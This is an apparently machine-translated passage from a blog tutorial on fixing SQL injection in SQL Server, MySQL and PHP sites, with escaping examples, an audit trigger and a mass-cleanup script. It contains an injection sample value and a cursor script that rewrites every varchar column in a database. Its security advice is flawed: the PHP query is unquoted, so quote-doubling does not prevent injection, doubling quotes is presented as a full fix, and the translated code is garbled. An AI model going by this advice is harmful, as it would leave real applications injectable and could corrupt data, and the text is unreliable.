1st: Never pass information from the Web directly to the bank. Check the technology used and look for "Escape Characters". In SQL Server, we only have single quotes (phew), but in MySQL, there are several, as it is compatible with a C-based writing engine.
VBScript:
category = "5; SELECT @@ SPID"category = replace (category, "'", "' '")variable = "SELECT * FROM PRODUCTS WHERE CATEGORY = '" & category & "';";
PHP:
<?php$ category = "5; SELECT @@ SPID";$ category = str_replace ("'", "' '", $ category);$ variable = "SELECT * FROM PRODUCTS WHERE CATEGORY =". $ category;variable echo $;?>
Then your variable will return:
SELECT * FROM PRODUCTS WHERE CATEGORY = '5; SELECT @@ SPID ';
And in fact the category to be searched for will be a category that will never exist.
MySQL Like escape characters (MySQL, PostgreSQL, Oracle, Unix databases)
According to the official documentation of the MySQL website, the escape code for the following characters below is with a forward slash:
Table 9.1 Special Character Escape Sequences
So take this into account as there are several other characters that need special control for each type of database.
For SQL Server, as many of these characters are not supported, double quotation marks solve the SQL Injection problem.
I was attacked, my site is full of these texts, now what?
First calmly use the steps and correction above before correcting your bank, as you will spend more time fixing your bank if a new attack comes (and it can come at any time!).
I have no idea where the SQL Injection vulnerability is, what do I do?
You can do it like our team, we did a trigger to capture all the events of a given table in terms of include, update and delete, storing this data in another table.
Here is the code used for auditing in the supposed "Products" table:
USE [sua_base_de_dados]
CREATE TABLE _LOGG(id int not null primary key identity(1,1),EventType nvarchar(30),[Parameters] INT,EventInfo nvarchar(4000),data datetime)
GO
CREATE TRIGGER [dbo].[TRIGGER_AUDITORIA] ON [Produtos]
FOR INSERT, UPDATE, DELETE AS BEGIN
DECLARE @TEMP TABLE (EventType NVARCHAR(30), Parameters INT, EventInfo NVARCHAR(4000))
INSERT INTO @TEMP EXEC('DBCC INPUTBUFFER(@@SPID)')
INSERT INTO _LOGG
SELECT 'SeuTextoDeIdentificaçãoDestaTrigger', EventType, Parameters, EventInfo, getdate() FROM @TEMP
END
I have thousands of tables and data, it would take days to fix everything, what to do?
Ok, let's use the "SAME" script however with some modifications (has anyone heard about attacking what attacks you?) Because you don't have time to spend all day hunting each table and removing each item right?
Log into your SQL Server and run the following script (developed by Tutorial TI for SQL Server - tested with version 2008 R2, but it can work in other versions):
declare @c cursor; declare @d varchar(4000); set @c=cursor for select 'update ['+TABLE_NAME+'] set ['+COLUMN_NAME+']=case when charindex(''<div style="display:none"'',['+COLUMN_NAME+'])>0 then substring(['+COLUMN_NAME+'],0,charindex(''<div style="display:none"'',['+COLUMN_NAME+'])) else case when charindex(''<div style=display:none'',['+COLUMN_NAME+'])>0 then substring(['+COLUMN_NAME+'],0,charindex(''<div style=display:none'',['+COLUMN_NAME+'])) else ['+COLUMN_NAME+'] end end' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%varchar' and(CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647); open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c--
So your database will be free of the SPAM codes that were plaguing you in milliseconds, but don't forget that: Before fixing your bank, the ideal is to find the security breach and close it before this occurs.
No comments